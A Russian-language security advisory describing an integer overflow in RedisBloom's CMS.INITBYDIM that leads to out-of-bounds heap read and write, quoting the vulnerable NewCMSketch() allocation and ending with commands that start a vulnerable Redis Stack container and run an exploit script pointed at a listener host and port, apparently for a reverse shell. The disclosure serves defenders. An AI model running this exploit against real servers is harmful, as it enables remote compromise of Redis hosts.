
В RedisBloom (https://github.com/RedisBloom/RedisBloom), модуле, используемом в redis (https://redis.io/docs/latest/develop/data-types/probabilistic/bloom-filter/), существует уязвимость целочисленного переполнения. Эта уязвимость позволяет атакующему (redis-клиенту, знающему пароль) из-за циклического переполнения (wraparound) выделить в куче памяти меньше, чем требуется. После этого возможно выполнять чтение и запись за пределами выделенной памяти, что приводит к утечке информации и внеграничной записи (OOB write).
Целочисленное переполнение находится в команде CMS.INITBYDIM, которая инициализирует Count-Min Sketch с размерами, заданными пользователем. Она принимает два значения (width и depth) и использует их для выделения памяти в NewCMSketch().
Файл: src/cms.c
CMSketch *NewCMSketch(size_t width, size_t depth) {
assert(width > 0);
assert(depth > 0);
CMSketch *cms = CMS_CALLOC(1, sizeof(CMSketch));
cms->width = width;
cms->depth = depth;
cms->counter = 0;
cms->array = CMS_CALLOC(width * depth, sizeof(uint32_t));
return cms;
}
Внеграничное чтение (OOB read) достигается с помощью команды CMS.QUERY, реализованной в CMS_Query().
Внеграничная запись (OOB write) достигается с помощью команды CMS.INCRBY, реализованной в CMS_IncrBy().
Полный анализ см. в рекомендации по безопасности
docker run -p 6379:6379 --name redis-stack redis/redis-stack:7.2.0-v10
python exploit.py --host 172.17.0.2 --port 6379 --lhost 172.17.0.1 --lport 4444